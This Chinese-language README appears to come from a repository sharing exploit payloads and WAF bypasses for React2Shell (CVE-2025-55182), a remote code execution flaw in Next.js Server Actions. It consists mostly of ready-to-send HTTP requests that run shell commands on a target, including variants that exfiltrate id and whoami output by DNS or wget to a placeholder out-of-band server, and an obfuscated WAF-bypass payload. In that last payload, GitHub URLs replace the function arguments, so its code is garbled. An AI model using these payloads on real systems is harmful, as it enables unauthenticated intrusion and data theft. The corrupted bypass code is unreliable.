REACT2SHELL (CVE-2025-55182)

React2Shell (CVE-2025-55182) 是一个影响使用 Server Actions 的 Next.js 应用程序的关键远程代码执行（RCE）漏洞链。该漏洞利用原型污染漏洞，结合 Server Actions 实现未经过身份验证的服务器任意代码执行。

本仓库致力于分享 React2Shell 的攻击载荷与绕过方法。欢迎提交 PR/贡献！

资源

以下是一些可能有用的额外资源：

• Assetnote 的 React2Shell 扫描器：https://github.com/assetnote/react2shell-scanner
• Nuclei 模板：https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml

攻击载荷

原始概念验证

所有功劳归于 @maple3142，其初始概念验证披露可在以下 GitHub Gist 中找到：

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

通过错误消息（digest 字段）输出结果的完整 RCE

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

触发外部 DNS 查询

将 <OAST_SERVER> 替换为你的 OAST 服务器主机名。

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup <OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

DNS 外传数据

将 <OAST_SERVER> 替换为你的 OAST 服务器主机名。

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup `whoami`.<OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

HTTP 外传数据

将 <OAST_SERVER> 替换为你的 OAST 服务器主机名。

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http://<OAST_SERVER>/?e=$`id`');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

触发时间延迟

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('sleep 10');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

通过字符串拼接与编码绕过 WAF

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: m9x4k7p2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
X-Nextjs-Html-Request-Id: R8tY5uI2oP6aS3dF
Content-Length: 750

------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var c='child'+'_'+'pro'+'cess';var e='exec'+'Sync';var cp=process['main'+'Module']['require'](https://github.com/aseemyash/krle/blob/main/c);var cmd='who'+'ami';var res=cp[e](https://github.com/aseemyash/krle/blob/main/cmd)['to'+'String']();throw Object['assign'](new Error('NEXT'+'_'+'REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ--